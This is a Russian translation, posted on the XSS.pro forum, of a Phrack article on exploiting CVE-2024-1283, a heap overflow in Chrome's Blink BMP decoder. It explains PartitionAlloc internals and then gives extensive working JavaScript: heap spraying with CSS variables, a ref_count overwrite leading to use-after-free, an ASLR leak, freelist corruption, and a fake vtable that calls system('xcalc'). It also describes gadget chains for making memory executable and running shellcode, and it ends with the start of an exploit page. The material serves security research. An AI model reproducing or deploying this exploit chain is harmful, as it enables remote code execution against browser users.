• XSS.stack #1 – первый литературный журнал от юзеров форума

Techniques Аллоцируем новые эксплоиты, ломаем браузеры как ядро ОС, а также тщательно исследуем PartitionAlloc и движок Blink

weaver

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3
Забанен
Регистрация
19.12.2018
Сообщения
3 301
Решения
11
Реакции
4 622
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
[Phreak 71] Pwning browsers like a kernel. Digging into PartitionAlloc and Blink engine

В этой статье рассматривается некоторые вещи о внутреннем устройстве Chrome, Blink и PartitionAlloc и примение всех эти знаний для преобразования крайне ограниченного бага для выполнения произвольного кода.

В качестве примера рассматривается уязвимость CVE-2024-1283 — переполнение кучи в движке Blink, возникающая при декодировании BMP изображений. Используя пару новых техник, очень похожих на недавние трюки в ядре Linux, такие как elastic heap objects и cross-cache переполнение, тем самым можно злоупотребить PartitionAlloc и теоретически использовать любой баг memory write, что приведет к выполнению шелл-кода.

https://phrack.org/issues/71/10.html#article
 
Аллоцируем новые эксплоиты, ломаем браузеры как ядро ОС, а также тщательно исследуем PartitionAlloc и движок Blink.
Переведено для xss.pro.
Оригинальная статья: https://phrack.org/issues/71/10.html#article См. первый пост в теме.
Автор статьи r3tr074.
Автор перевода handersen.

“Кто сражается с чудовищами, должен остерегаться,

чтобы самому при этом не стать чудовищем. И если

ты долго смотришь в бездну, то бездна тоже смотрит

в тебя“

Фридрих Ницше

0 – Введение

1 – Обзор движка отрисовки Chromium

2 – Пример: 0day BMP

2.1 – Возможности бага и из каких элементов он состоит

3 – Механизм распределения памяти PartitionAlloc

3.1 – Меры безопасности в PartitionAlloc

4 – Эксплуатация

5 – Рассуждения, выводы и тому подобное

6 – Ссылки

7 – Код эксплоита

0 – Введение

Эта статья попытается поглубже объяснить внутреннее устройство Chrome, Blink и PartitionAlloc, а также применить эти знания к превращению одного крайне специфического бага в выполнение произвольного кода.

Обсуждаемая в этой теме уязвимость CVE-2024-1283 – переполнение кучи в движке Blink, возникающее при декодировании изображений в формате BMP. Используя пару новых техник, очень похожих на недавние трюки с ядром Linux, такие как elastic heap objects и cross-cache overflow, мы можем злоупотребить PartitionAlloc и в теории воспользовавшись любой уязвимостью при записи в память, выполнить полноценный шеллкод.

1 – Обзор движка отрисовки Chromium

Chromium, как и все основанные на нем браузеры, использует движок отрисовки Blink – "Blink rendering engine" [1]. Этот компонент отвечает за большую часть всего того, что происходит в процессе отрисовки, вроде парсинга HTML и CSS, декодирования изображений и многого другого.

Движок браузера (так же известный, как движок разметки или движок отрисовки), является ключевым программным компонентом каждого современного браузера. Основная задача движка браузера, это преобразование документов HTML и остальных ресурсов веб-страницы в визуально-интерактивное представление на устройстве пользователя. [2]
В Chromium применяется Blink, однако он считается отдельной библиотекой. Его код можно найти в составе исходников Chromium, по пути `src/third_party/blink`, а его собственный репозиторий тут: [3].

Несмотря на функциональность, которую обеспечивает Blink, не все ключевые функции реализованы непосредственно в его коде. Например выполнение JavaScript – для движка отрисовки обязательно, однако не все движки JS являются частью основного кода.

Под этот случай, как раз подходит V8, используемый движок JavaScript, которому в коде выделен каталог `v8/`. Он так же имеет свой репозиторий [4]. То же самое применимо к некоторым форматам изображений [5] и видео [6]. Однако остальные форматы изображений, целиком и полностью обрабатываются Blink, такие как "BMP", "AVIF" и некоторые другие.

Мы можем увидеть их в каталоге `src/third_party/blink/renderer/platform/image-decoders`.

2 – Пример: 0day BMP

Потратив некоторое время на фаззинг отдельных форматов изображений, я смог найти очень интересный баг переполнения в куче внутри BMPImageDecoder (ASAN показывает его, как переполнение произошедшее внутри Skia, выражающееся в некорректном заголовке из CVE [7] ).

*прим. переводчика: Skia — это библиотека 2D-графики с открытым исходным кодом, которая используется в качестве графического движка во множестве продуктов, включая Chromium.

Давайте разберемся как возникает этот баг и из каких элементов от состоит! Мы начнем с анализа стека трассировки ASAN:

Bash:
r3tr0@chrome:~/fuzz/bmp$ cat /tmp/bad.bmp | ./test-crash
  =875756 ERROR: AddressSanitizer: heap-buffer-overflow on address[redacted]
  READ of size 32 at 0x521000001100 thread TO
  #0 0xdead in unsigned int vector [8] skcms_private::hsw::load()
  #1 0xdead in skcms_private::hsw::Exec_load_8888_k()
  #2 0xdead in skcms_private::hsw::Exec_load_8888()
  #3 0xdead in skcms_private:: hsw::exec_stages ()
  #4 0xdead in skcms_private::hsu::run_program()
  #5 0xdead in skcms_Transform
  #6 0xdead in blink::BMPImageReader::ColorCorrectCurrentRow()
  #7 0xdead in blink::BMPImageReader::ProcessRLEData()
  #8 0xdead in blink::BMPImageReader::DecodePixelData(bool)
  #9 0xdead in blink::BMPImageReader::DecodeBMP(bool)
  #10 0xdead in blink::BMPImageDecoder::DecodeHelper(bool)
  #11 0xdead in blink::BMPImageDecoder::Decode(bool)
  #12 0xdead in blink::ImageDecoder::DecodeFrameBufferAtIndex()
  [redacted]

Последней функцией Blink здесь, является BMPImageReader::ColorCorrectCurrentRow(). Ниже, мы можем видеть фрагмент этой функции:

C:
void BMPImageReader::ColorCorrectCurrentRow() {
    ...
    // address calc here
    ImageFrame::PixelData* const row = buffer_->GetAddr(0, coord_.y());
    ...
    const bool success =
        skcms_Transform(row, fmt, alpha, transform->SrcProfile(), row, fmt, alpha,
                        transform->DstProfile(), parent_->Size().width());
    DCHECK(success);
    buffer_->SetPixelsChanged(true);
  }

С помощью небольшой отладки, мы можем сделать вывод, что в `buffer_->GetAddr(0, coord_.y());` присутствует ошибка расчета адреса, там где эта функция передает управление другой inline функции:

C:
const uint32_t* addr32(int x, int y) const {
    SkASSERT((unsigned)x < (unsigned)fInfo.width());
    SkASSERT((unsigned)y < (unsigned)fInfo.height());
    return (const uint32_t*)((const char*)this->addr32() + (size_t)y * fRowBytes + (x << 2));
  }

Эту функцию, можно также свести к одной строке `this->addr32() + y * fRowBytes + (x << 2)`.

Так или иначе, в аварийно завершающейся итерации, `coord_.y()` равно -1 и если мы произведем это вычисление с таким значением, то нам станет понятно почему:

C:
this->addr32() + y * fRowBytes + (x << 2);
  base_addr + -1 * fRowBytes + (0 << 2);
  base_addr - fRowBytes;

Допустим, что переменные нам известны, `this->addr32()` является базовым адресом сегмента декодируемого изображения, y будет -1, а x равно 0.

Соответственно результат равен базовому адресу за минусом fRowBytes, в итоге полученный адрес окажется до адреса начала сегмента декодируемого изображения, а затем будет вызвана функция в Skia, которая спокойно пишет в этот входной буфер. Мы можем сравнить это с функцией `memcpy`. Проблема не в функции, а в том, что в нее передали.

Рассмотрение патча [8], проясняет почему это случилось. Это просто уязвимость переполнения одним байтом a. k. a off-by-one, где функция `ColorCorrectCurrentRow()` оказалась вызвана на один раз больше, чем ожидалось. Так как декодирование идет "сверху вниз", с каждой итерацией из y вычитается 1 и вместо того, чтобы остановиться на 0, происходит следующая итерация и еще одно вычитание уменьшает y до -1.

2.1 – Возможности бага и из каких элементов он состоит

Все это хорошо, но какие рычаги управления нам дает этот баг? Куда и что мы можем писать? Анализ функции skcms_Transform показал, что она принимает некую разновидность “байт-кодов“, предназначенных для виртуальной машины преобразования изображений. Важным фактом, является то, что мы контролируем не отправку байт-кода, а только приемный буфер, значит мы не можем управлять записью. Давайте проанализируем пример во время выполнения и увидим, что происходит:

Bash:
pwndbg> x/6gx $rdi
  0x1180136a000: 0x4141414141414141    0x4242424242424242
  0x1180136a010: 0x4343434343434343    0x4444444444444444
  0x1180136a020: 0x4545454545454545    0xff00ff00ff00ff00
pwndbg> continue
  [redacted]
pwndbg> x/6gx 0x1180136a000
  0x1180136a000: 0x4100000041000000    0x4200000042000000
  0x1180136a010: 0x4300000043000000    0x4400000044000000
  0x1180136a020: 0x4500000045000000    0xff00ff00ff00ff00

По сути, мы можем только записывать нулевые байты, за исключением 0xff, которые игнорируются. Самый старший байт из каждых 4 байт также игнорируется. Это крайне ограниченные, но все же действенные возможности записи.

*прим. преводчика: запись нулевых байтов, хорошо видна в последней секции вывода pwndbg, выше: 0x4100000041000000 и т. д.

Теперь, когда мы знаем, что можем записывать, давайте посмотрим, куда мы можем это записывать. Вернемся к расчету адреса, только теперь к переменной, которую мы не обсуждали, а именно – fRowBytes.

В нашем случае, эта переменная всегда равна 1/4 размера сегмента, который мы частично контролируем с помощью высоты и ширины ширины изображения. Это выражается в частичном переполнении в конце последнего сегмента, при условии, что размер сегмента изображения равен 0x1000 байт, последние 0x400 будут повреждены:

Код:
0x400 байты повреждены
                  \     /
  +---------------------+------------------------+
  |                |XXXXX|                       |
  | Другой сегмент |XXXXX| Сегмент BMP (0x1000)  |
  |                |XXXXX|                       |
  +----------------------+-----------------------+

Сейчас все выглядит безнадежно, т. к. мы можем записывать только нулевые байты. Идея получше – перезаписать свойство `ref_count_`, однако они все в начале сегмента. Чтобы двигаться вперед, нам нужно лучше разобраться в том, как работает собственный механизм распределения памяти Chrome.

3 – Механизм распределения памяти PartitionAlloc

PartitionAlloc, это механизм распределения памяти, оптимизированный для эффективного использования ее пространства, времени выделения и безопасности. [9] (а также разработанный Google и применяемый в Chromium по умолчанию)

Выделим по быстрому наиболее важные свойства PartitionAlloc:
  • Это распределитель памяти SLAB, что подразумевает предварительное выделение памяти и ее организацию в виде сегментов фиксированного размера, что очень важно с точки зрения безопасности.
  • В нем используется кэш потока, подобно tcache в куче Glibc.
  • В нем есть несколько “программных защит“ от некоторых типов ошибок управления памятью, вроде повторного освобождения.
  • После освобождения слота, в его начало записывается указатель из списка свободных сегментов в порядке байтов big-endian.
Изучая механизм распределения памяти SLAB, похожий на используемый в ядре, мы ожидаем простой и эффективный способ эксплуатации. Только объекты должны быть одинакового размера, и для них должны быть выделены смежные сегменты памяти. Следовательно уязвимый объект и “жертва“, должны быть одинакового размера или близкого к нему.

В PartitionAlloc все выделяется внутри “страниц“, которые могут быть:

- System Page (Системная страница)

Страница определяемая операционной системой, обычно 4KiB, но поддерживающая увеличение до 64KiB.

- Partition Page (Страничный раздел)

Состоит из ровно 4 системных страниц.

- Super Page (Суперстраница)

Область размером 2MiB, выровненная кратно 2MiB.

- Extent (Экстент)

Экстент, это последовательность из нескольких суперстраниц в режиме выполнения.

Код:
System Page
     ^
  +------+
  |      |
  +------+

         Partition Page
                ^
  +------+------+------+------+
  |      |      |      |      |
  +------+------+------+------+

                  Super page (2MiB)
                          ^
  +-----------------------------------------------------+
  |                                                     |
  +-----------------------------------------------------+

Внутри каждой суперстраницы выделено несколько страничных разделов, в которых элементы меньшего размера могут быть классифицированы, как:
  • Slot (слот): единичный сегмент.
  • Slot span (диапазон слотов): последовательность нескольких сегментов одинакового размера в режиме выполнения.
  • Bucket (область памяти, адресуемая как единое целое): цепочка групп слотов, содержащая слоты близкие по размеру.
Код:
 +-------------------+     +------------------+    +-------------+
    |...| PartitionPage | ->  | SlotSpanMetadata | -> |freelist_head|
    +-------------------+     +------------------+    |-------------|
     \                /                               |   bucket    |
      \              /                                +-------------+
       \            /                                         |
        \          /                                          V
+--------------------------------------------------+  +------------------+
|       |          |       |         |     |       |  | Partition Bucket |
| Guard | Metadata | Guard | N pages | ... | Guard |  +------------------+
|       |          |       |         |     |       |
+--------------------------------------------------+
                  Super Page

Память в суперстранице, выделяется следующим образом: Изначально существует 3 страницы (2 “защитных страницы“, которые представляют страницы помеченные, как PROT_NONE для предотвращения любых типов линейного повреждения памяти и страница метаданных между этими двумя). У этой страницы есть список “страничных разделов“, представляющий структуру управляющую некоторой информацией о страничных разделах. Она также имеет свойство SlotSpanMetadata, которое за исключением члена freelist_head, относящегося к этому диапазону, содержит указатель на такую область памяти (Bucket).

Код:
 +------------------+
  | Partition Bucket |-------+     +----+
  +------------------+       |     |    |
                             v     |    v
+--------------------------------------------------+
|       |          |       |         |     |       |
| Guard | Metadata | Guard | N pages | ... | Guard |
|       |          |       |         |     |       |
+--------------------------------------------------+

Каждый Partition Bucket, является звеном связного списка с остальными блоками-bucket-ами, близкими по размерам.

Код:
Это отдельный слот
              |        +-----------------+
              +------->|0x1000|0x1000|...|
                       |-----------------| -> это диапазон слотов
                       |0x1000|0x1000|...|
                       +-----------------+
                        \               /
                         \             /
                          \           /
                           \         /
+--------------------------------------------------+
|       |          |       |         |     |       |
| Guard | Metadata | Guard | N pages | ... | Guard |
|       |          |       |         |     |       |
+--------------------------------------------------+

Каждый диапазон слотов, может быть составлен из N страничных разделов, содержащих несколько смежных слотов равного размера.

В PartitionAlloc, также есть кэш потоков. Он создан, чтобы удовлетворять наиболее распространенные запросы на выделение памяти и избегать снижения производительности в основном распределителе памяти, когда требуется блокировка контекста, чтобы предотвратить возврат двумя выделениями памяти, одного и того же слота.

Кэш потока, специально разработан для удовлетворения огромного количества запросов на выделение памяти основным распределителем и возврата ему освобожденной памяти, смягчения последствий блокировок и дальнейших усовершенствований, в то же время не злоупотребляя потреблением памяти. [10]

3.1 – Меры безопасности в PartitionAlloc

Если смотреть с точки зрения безопасности, PartitionAlloc предоставляет кое-какие гарантии:
  1. Линейное переполнение/затирание не сможет повредить информацию внутри, за пределами или между разделами. В начале и в конце каждой области памяти, принадлежащей разделу, есть “защитные страницы“.
  2. Линейное переполнение/затирание не сможет повредить месторасположение метаданных. PartitionAlloc записывает метаданные в выделенную область (не граничащую с объектами), окруженную защитными страницами. (Указатели из списка свободных сегментов – исключение)
  3. Частичная перезапись указателей из списка свободных сегментов, должна вызывать ошибку.
  4. Непосредственно при отображении в память выделенных областей, в начале и в конце каждой есть защитные страницы.
  5. Одна страница, может содержать объекты только из того же bucket-а. Даже после полного освобождения этой страницы.
Если мы посмотрим внимательно, пункты 1 и 2 в основном предотвращают повреждение страницы метаданных и переполнение между суперстраницами. Это задача “защитных страниц“, упомянутых выше – страниц с защитой PROT_NONE, которые генерят сбой при попытках чтения, записи или выполнения чего-либо в рамках такой страницы.

Пункт 3, просто включает в начало сегмента, указатель из список свободных сегментов в порядке следования байтов big-endian. Таким образом, частичное повреждение этого указателя, преобразует его в little-endian, что полностью изменит указатель.

Пункт 4, это просто разновидность пунктов 1 и 2, для случаев, когда необходимо выделить значительно большую область памяти, которая не вмещается в обычную суперстраницу и такая область отображена в память непосредственно. Отображенная память, опять таки размещается между двумя “защитными страницами“, одной в начале, другой в конце.

И наконец пункт 5, помогает против атак нарушения типа, и попыток злоупотребить уязвимостью повторного использования памяти (UAF – use-after-free) между страницами.

Итак, если вы заметили, то нет никаких гарантий или защиты от того, что двум bucket-ам совершенно разных размеров не выделятся смежные области памяти, без применения между ними некой специальной области (по аналогии с “защитными страницами“, располагаемыми между суперстраницами). Следовательно, вполне возможно создание такой структуры:

Код:
vuln obj size=0x1000   victim obj size=0x4000
       +----------+        +----------+
       |    ...   |        |  victim  |
       |----------|        |----------|
       |   vuln   |        |    ...   |
       +----------+        +----------+
        \          \      /           /
         \          \    /           /
          \          \  /           /
           \          \/           /
+---------------------------------------------------+
|   |   |   |         |            |            |   |
| G | M | G | 2 pages |  3 pages   | ...N pages | G |
|   |   |   |         |            |            |   |
+---------------------------------------------------+

Проверяя эту гипотезу, я убедился, что мы можем создать весьма стабильную структуру памяти с такими объектами разных размеров, размещенными в смежных областях.

4 – Экспуатация

Учитывая возможность переполнения в любом соседнем слоте другого размера, нам просто нужно найти интересную цель. Мы уже находили такие объекты имеющие свойство length_, но тогда мы смогли писать только нулевые байты, однако я считаю, что мы сможем более эффективно использовать этот баг, атаковав свойство ref_count_. При поиске информации о подходящих целях, мы можем обратиться к работам, уже проделанным для эксплуатации широко известной уязвимости "The WebP 0day" [11].

Память для объектов и структур CSS, выделяется самим движком Blink. Среди этих объектов есть CSSVariableData, который представляет значения переменных в CSS [12]. Он кажется отличной целью по нескольким причинам:
  • Он представляет собой т. н. elastic object, значит мы можем подогнать его к нашему или любому другому случаю, этот объект может варьироваться в размерах от 16 до 2097152 байт (`kMaxVariableBytes`).
  • Это объект со свойством "ref_count_".
  • В нем нет никаких указателей, которые вызывали бы сбой при их разыменовывании.
Мы можем посмотреть описание этого объекта в заголовочном файле `css_variable_data.h`:

C:
class CORE_EXPORT CSSVariableData : public RefCounted<CSSVariableData> {
  ...
 private:
 ...
  // 32 bits refcount before this.

  // We'd like to use bool for the booleans, but this causes the struct to
  // balloon in size on Windows:
  // https://randomascii.wordpress.com/2010/06/06/bit-field-packing-with-visual-c/

  // Enough for storing up to 2MB (and then some), cf. kMaxSubstitutionBytes.
  // The remaining 4 bits are kept in reserve for future use.
  const unsigned length_ : 22;
  const unsigned is_animation_tainted_ : 1;       // bool.
  const unsigned needs_variable_resolution_ : 1;  // bool.
  const unsigned is_8bit_ : 1;                    // bool.
  unsigned has_font_units_ : 1;                   // bool.
  unsigned has_root_font_units_ : 1;              // bool.
  unsigned has_line_height_units_ : 1;            // bool.
  const unsigned unused_ : 4;

Этот объект отображается в памяти в виде следующей структуры:

Код:
0            4            8                         16
+------------+----------+-+-------------------------+
| ref_count_ | length_  |F|     String content      |
+------------+----------+-+-------------------------+
|                String content...                  |
+---------------------------------------------------+
> F = flags

А код, который выделяющий память для этого объекта, можно найти в том же файле:

C:
// third_party/blink/renderer/core/css/css_variable_data.h:34
static scoped_refptr<CSSVariableData> Create(StringView original_text,
                                             bool is_animation_tainted,
                                             bool needs_variable_resolution,
                                             bool has_font_units,
                                             bool has_root_font_units,
                                             bool has_line_height_units) {
  if (original_text.length() > kMaxVariableBytes) {
    // This should have been blocked off during variable substitution.
    NOTREACHED();
    return nullptr;
  }

  wtf_size_t bytes_needed =
      sizeof(CSSVariableData) + (original_text.Is8Bit()
                                     ? original_text.length()
                                     : 2 * original_text.length());
  void* buf = WTF::Partitions::FastMalloc(
      bytes_needed, WTF::GetStringWithTypeName<CSSVariableData>());
  return base::AdoptRef(new (buf) CSSVariableData(
      original_text, is_animation_tainted, needs_variable_resolution,
      has_font_units, has_root_font_units, has_line_height_units));
}

Хорошо, это кажется подходящей целью, однако теперь нам нужно обсудить, в каком bucket-е будет размещен этот объект. Из-за кэша потока, объекты могут и не оказаться размещенными рядом. Нам нужно заставить кэш потока, очистить bucket, чтобы и уязвимый объект и "жертва", заняли одну и ту же суперстраницу. К счастью сделать это довольно просто. Нам просто нужно заполнить кэш до "предела", как видно из комментария:

C:
// base/allocator/partition_allocator/src/partition_alloc/thread_cache.cc:586

// For each bucket, there is a |limit| of how many cached objects there are in
// the bucket, so |count| < |limit| at all times.
// - Clearing: limit -> limit / 2
// - Filling: 0 -> limit / kBatchFillRatio

Ниже показан код, выполняемый этой подпрограммой:

C:
// base/allocator/partition_allocator/src/partition_alloc/thread_cache.h:511

PA_ALWAYS_INLINE bool ThreadCache::MaybePutInCache(uintptr_t slot_start,
                                                   size_t bucket_index,
                                                   size_t* slot_size) {
  PA_REENTRANCY_GUARD(is_in_thread_cache_);
  ...
  auto& bucket = buckets_[bucket_index];
  ...
  uint8_t limit = bucket.limit.load(std::memory_order_relaxed);
  // Batched deallocation, amortizing lock acquisitions.
  if (PA_UNLIKELY(bucket.count > limit)) {
    ClearBucket(bucket, limit / 2);
  }
  ...

Теперь давайте создадим эту структуру с помощью JS. Но как же нам манипулировать этими объектами, для создания наилучшей структуры памяти?

Во-первых, давайте спровоцируем выделение новой суперстраницы, чтобы получить больше контроля, для этого мы можем применить технику heap spraying
JavaScript:
let div0 = document.getElementById('div0');
for (let i = 0; i < 30; i++) {
  div0.style.setProperty(`--sprayA${i}`, kCSSString);
  div0.style.setProperty(`--sprayC${i}`, kCSSStringCross0x2000);
  div0.style.setProperty(`--sprayB${i}`, kCSSStringHRTF);
}

После этого давайте принудительно разместим объект A рядом с объектом C. Объект B при этом, должен быть расположен близко, но не вплотную с остальными, т. к. это будет полезно для выявления утечек памяти.

JavaScript:
for (let i = 0; i < 50; i++) {
  for (let j = 0; j < 4; j++) {
    // spraying allocation of 2 different size spans
    // very close to 100% of attempts, the same object is allocated
    // after a different sized slot
    const CSSValName = `${i}.${j}`.padEnd(0x7fcc, 'A');
    div0.style.setProperty(`--a${i}.${j}`, CSSValName);
    const CSSValName2 = `${i}.${j}`.padEnd(0x1fcc, 'C');
    div0.style.setProperty(`--c${i}.${j}`, CSSValName2);
  }
  for (let j = 0; j < 64; j++) {
    const CSSValName = `${i}.${j}`.padEnd(0x414, 'B');
    div0.style.setProperty(`--b${i}.${j}`, CSSValName);
  }
}

И наконец, давайте очистим bucket, чтобы завершить подготовку нашей структуры:

JavaScript:
for (let i = 10; i < 30; i++) {
  div0.style.removeProperty(`--a${i}.2`);
}
for (let i = 46; i > 20; i--) {
  div0.style.removeProperty(`--c${i}.0`);
}
gc(); await sleep(500);

Теперь, после создания правильной структуры кучи, мы перезапишем `ref_count_`, освободим память и разместим данные полностью управляемого объекта поверх "жертвы", создав таким образов условия для повторного использования памяти (UAF).

Мы можем злоупотребить условием записи нулевых байтов. Если вы помните, то байты 0xff игнорируются, значит мы можем увеличить `ref_count_` до `0xff01` и вызвать срабатывание уязвимости. После этого `ref_count_` станет равным `0xff00`, а вызов `gc();` освободит этот объект несмотря на то, что у него еще есть активные ссылки.

Запомните: Фактически значение `ref_count_` начинается с 2, значит его нужно увеличить до `0xff02`, иначе `ref_count_` достигнет -1 и вызовет аварийное завершение работы.

Код:
+------------+----------+-+-------------------------+
|     2      |  0x2000  |F|     "AAAAAAAAAAAA"      |
+------------+----------+-+-------------------------+
|                 "AAAAAAAAAAAA..."                 |
+---------------------------------------------------+
                          |
                          | increase `ref_count_` (+0xff00)
                          |
                          v
+------------+----------+-+-------------------------+
|   0xff02   |  0x2000  |F|     "AAAAAAAAAAAA"      |
+------------+----------+-+-------------------------+
|                 "AAAAAAAAAAAA..."                 |
+---------------------------------------------------+
                          |
                          | Trigger vuln
                          |
                          v
+------------+----------+-+-------------------------+-------------------+
|   0xff00   |  0x0000  |F|    "A\x00\x00\x00"      |                   |
+------------+----------+-+-------------------------+ BMP vuln chunk... |
|                "A\x00\x00\x00..."                 |                   |
+---------------------------------------------------+-------------------+
                          |
                          | Call `gc();` and decrease
                          | `ref_count_` (-0xff00)
                          v
+-------------------------+-------------------------+
|       freelist ptr      |    "A\x00\x00\x00"      |
+-------------------------+-------------------------+
|                "A\x00\x00\x00..."                 |
+---------------------------------------------------+

Прекрасно! Мы можем использовать любой объект, для освобождения указателя на запись в списке свободных сегментов и перезаписи свойства "length_". Мы используем для этого AudioArray, который можем полностью контролировать. AudioArray так же представляет собой elastic object, ранее применявшийся для эксплуатации других видов UAF [13].

Теперь, мы можем выполнить чтение off-by-one:

JavaScript:
fetch("/bad.bmp").then(async response => {
  let rs = getComputedStyle(div0);
  let imageDecoder = new ImageDecoder({
    data: response.body,
    type: "image/bmp"
  });
  increase_refs(0xff02); // overflow will overwrite 0xff02 to 0xff00

  imageDecoder.decode().then(async () => {
    gc(); gc();
    await sleep(2500);
    let ab = new ArrayBuffer(0x600);
    let view = new Uint32Array(ab);

    // fake CSSVariableData
    view[0] = 1; // ref_count
    const newCSSVarLen = 0x19000;
    view[1] = newCSSVarLen | 0x01000000; // length and flags, set is_8bit_
    for (let i = 2; i < view.length; i++)
      view[i] = i;
    await allocAudioArray(0x2000, ab, 1);
    leak();
  })
});

async function leak() {
  console.log("continuing...");
  let div0 = document.getElementById('div0');
  let rs = getComputedStyle(div0);
  let CSSLeak = rs.getPropertyValue(kTargetCSSVar).substring(0x15000 - 8);
  console.log(CSSLeak.length.toString(16));
...

Хорошо, но недостаточно – мы побороли ASLR в любом проявлении, однако теперь наша цель, захватить управление потоком выполнения. Вместо того, чтобы подыскивать более подходящие объекты в качестве "жертв", мы можем снова атаковать непосредственно PartitionAlloc и повредить указатель на запись в списке свободных сегментов. Идея состоит в создании условия для повторного освобождения памяти, а конкретнее в создании циклической ссылки в списке свободных сегментов и гарантированной перезаписи указателя.

CSSVariableData и AudioArray, указывают на один и тот же адрес, а значит мы можем освободить их оба и вызвать повторное освобождение памяти. Когда мы это сделаем, указатель из списка свободных сегментов, записавшийся в такой сегмент – будет указывать сам на себя:

Код:
+----------+
 |          | It's pointing at itself
 |          v
 |    +-------------------------+-------------------------+
 +----|       freelist ptr      |    "A\x00\x00\x00"      |
      +-------------------------+-------------------------+
      |                "A\x00\x00\x00..."                 |
      +---------------------------------------------------+

Список свободных сегментов с циклической ссылкой, чрезвычайно мощен – ведь мы можем использовать тот же AudioBuffer, как и до повреждения этого указателя. Следующий запрос на выделение памяти, вернет нужный нам указатель, давая возможность произвольной записи.

Код:
+----------+
 |          | It's pointing at itself
 |          v
 |    +-------------------------+-------------------------+
 +----|      freelist ptr       |    "A\x00\x00\x00"      |
      +-------------------------+-------------------------+
      |                "A\x00\x00\x00..."                 |
      +---------------------------------------------------+
                                |
                                | Alloc an AudioArray and corrupt freelist
                                |
                                v
      +-------------------------+-------------------------+
      |      corrupted ptr      |    "A\x00\x00\x00"      |
      +-------------------------+-------------------------+
      |                "A\x00\x00\x00..."                 |
      +---------------------------------------------------+

Единственное ограничение для этого поврежденного указателя, состоит в том, что он должен быть из той же суперстраницы, что и наши объекты. Чтобы добиться выполнения кода, мы освободим объект B и разместим объекты с виртуальными таблицами, затем повредим указатель из списка свободных сегментов одного из этих объектов. Таким способом, мы можем повредить указатель виртуальной таблицы и легко захватить контроль над потоком выполнения. Следующий фрагмент эксплоита, размещает объект с виртуальной таблицей и вызывает утечку его адреса:

JavaScript:
CSSVars = [
  // this regex is used to find the B objects in memory
  // the pattern match with: 0x2000 + flags + "${i}.${j}" + "BBBBB..."
  ...CSSLeak.matchAll(/\x02\x00\x00\x00\x14\x04\x00\x01(\d+\.\d+)/g)
];
...
for (let i = 0; i < kSprayPannerCount; i++) {
  panners.push(audioCtx.createPanner());
}
for (let i = 0; i < kSprayPannerCount; i++) {
  // i really idk why, but i need add the ref_count_ and remove the
  // prop to trigger free
  rs.getPropertyValue(`--b${CSSVars[i][1]}`);
  div0.style.removeProperty(`--b${CSSVars[i][1]}`);
}
gc(); gc(); await sleep(1000);

for (let i = 0; i < panners.length; i++) {
  // allocating objects with vtables
  panners[i].panningModel = 'HRTF';
}

// free two panners after target CSSVariableData
panners[kSprayPannerCount - 2].panningModel = 'equalpower';
panners[kSprayPannerCount - 1].panningModel = 'equalpower';
await sleep(1000);
let hrtfLeak = rs.getPropertyValue(kTargetCSSVar).substring(0x15000 - 8);

А теперь, просто создадим "левую" виртуальную таблицу и . . . хоба!!!

JavaScript:
let ab = new ArrayBuffer(0x600);
let abFakeObj = new ArrayBuffer(0x600);
let view = new BigUint64Array(ab);
let viewFakeObj = new DataView(abFakeObj);
view[0] = swapEndian(fakePannerAddr - 0x10n);

for (let i = 0; i < viewFakeObj.byteLength; i++)
  viewFakeObj.setUint8(i, 0x4a); // "J"

const system_addr = chromeBase + kSystemLibcOffset;
// call   qword ptr [rax + 8]
viewFakeObj.setBigUint64(0x0, fakePannerAddr + 8n - 8n, true);
// viewFakeObj.setBigUint64(8, 0xdeadbeefn, true);
viewFakeObj.setBigUint64(0x8, chromeBase + kWriteListenerOffset, true);
// fake BindState addr
viewFakeObj.setBigUint64(0x10, fakePannerAddr + 0x18n, true);

// start of fake BindState
// The first int64 are the value which will passed to function address
// in second int64
viewFakeObj.setBigUint64(0x18 + 0,
// 0x636c616378 == xcalc
  0x636c616378n /* -1 because ref_count_ + 1 */ - 1n, true);
viewFakeObj.setBigUint64(0x18 + 0x8, system_addr, true);

В этом примере я просто вызываю функцию `system("xcalc")`.

Для более сложного эксплоита мы можем использовать более продуманную последовательность "гаджетов". В Chromium есть чрезвычайно мощные "гаджеты", с легкостью позволяющие выполнение шеллкода. Вы можете использовать метод `blink::FileSystemDispatcher::WriteListener::DidWrite` , после чего применить поддельный `BindState`. Используя эти два метода, мы можем вызвать любую функцию, контролируя значение регистра RDI, который является первым аргументом этой функции.

Совмещая это с методом `content::ServiceWorkerContextCore::OnControlleeRemoved`, мы сможем выбрать функцию и N аргументов. С такими возможностями, мы вызовем функцию `v8::base::AddressSpaceReservation::SetPermissions` и применим к странице памяти атрибуты r-w-x. Единственное, что нам нужно – это повредить второй объект с виртуальной таблицей и сделать, чтобы он указывал на страницу с атрибутами r-w-x, после того, как мы скопируем в нее шеллкод.

Если хотите увидеть пример полноценного эксплоита, использующего описанные методы, вы можете обратиться к ранее упомянутым эксплоитам в источниках [11] и [13].

5 – Рассуждения, выводы и тому подобное

Эта статья представляет попытку анализа наиболее важных моментов, касающихся PartitionAlloc, объяснения последних техник, подобных "double-free2arbitrary-allocation", а также новейших, таких как "cross-bucket overflow".

Эти методы теоретически можно использовать для эксплуатации любых ошибок, связанных с повреждением памяти в PartitionAlloc. Это особенно интересно, потому что позволяет использовать даже незначительные на первый взгляд ошибки для серьёзных атак. Многие из этих методов, напоминают трюки последних лет, из области эксплуатации ядра вроде "elastic-objects" и "cross-cache overflow". Высокопроизводительные механизмы распределения памяти имеют тенденцию, делиться с потомками своими уязвимостями, идущими в комплекте с их возможностями и быстродействием.

Как было сказано выше, механизм распределения памяти, является критичным по значимости компонентом высокопроизводительных приложений, вроде браузеров и он должен быть простым и быстрым. Эта простота, оборачивается изъянами в безопасности. В Chromium отличные меры безопасности, такие как "безопасная версия libc++", которые предотвращают множество потенциальных угроз, однако после первого же повреждения памяти, сценарий атакующего получает повышенные привилегии и не так уж много вещей способны его остановить.

Все новые методики снижения и предотвращения ущерба от таких атак, сосредотачивались на нивелировании повреждений памяти тянущихся из движка JS, как например в отлично сделанной "песочнице" V8. Однако этого недостаточно. Хотя JavaScript и является крайне глючной подсистемой, множество ее областей исследованы довольно слабо.


HTML:
<!-- ./chrome --no-sandbox --headless --user-data-dir=/tmp/not-exist \
  --disable-gpu --remote-debugging-port=9222 --enable-logging=stderr \
  http://localhost:8000/exploit.html
  -->
<html>

<head>
  <script>
    const kHRTFPannerVtableOffset = 0x10e5570n;
    const kHRTFPannerHeapOffset = 0x22620n;
